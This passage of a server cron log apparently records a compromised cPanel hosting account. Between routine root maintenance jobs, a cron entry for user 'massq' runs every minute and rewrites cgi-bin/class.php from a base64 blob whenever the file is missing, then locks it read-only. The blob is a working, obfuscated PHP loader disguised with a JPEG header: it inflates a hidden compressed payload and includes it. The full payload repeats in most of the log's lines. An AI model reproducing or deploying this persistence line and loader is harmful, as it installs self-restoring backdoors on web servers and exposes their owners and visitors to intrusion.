VyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:02:01 server CROND[17743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:03:01 server CROND[18143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:03:01 server CROND[18144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:03:01 server CROND[18145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:04:01 server CROND[18605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:04:01 server CROND[18606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:04:01 server CROND[18607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:05:01 server CROND[18990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:05:01 server CROND[18991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:05:01 server CROND[18993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:05:01 server CROND[18995]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:05:01 server CROND[18996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:05:01 server CROND[18998]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 04:05:01 server CROND[18997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:05:01 server CROND[19003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:06:01 server CROND[19833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:06:01 server CROND[19834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:06:01 server CROND[19835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:07:01 server CROND[20205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:07:01 server CROND[20206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:07:01 server CROND[20207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:08:01 server CROND[20587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:08:01 server CROND[20588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:08:01 server CROND[20589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:09:01 server CROND[21050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:09:01 server CROND[21051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:09:01 server CROND[21052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:09:01 server CROND[21053]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 04:10:01 server CROND[21491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:10:01 server CROND[21493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:10:01 server CROND[21497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:10:01 server CROND[21495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:10:01 server CROND[21496]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:10:01 server CROND[21494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:10:01 server CROND[21499]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:10:01 server CROND[21498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:11:01 server CROND[22338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:11:01 server CROND[22339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:11:01 server CROND[22340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:12:01 server CROND[22767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 04:12:01 server CROND[22768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:12:01 server CROND[22770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:12:01 server CROND[22769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:13:01 server CROND[23393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:13:01 server CROND[23394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:13:01 server CROND[23395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:14:01 server CROND[23927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:14:01 server CROND[23930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:14:01 server CROND[23929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAa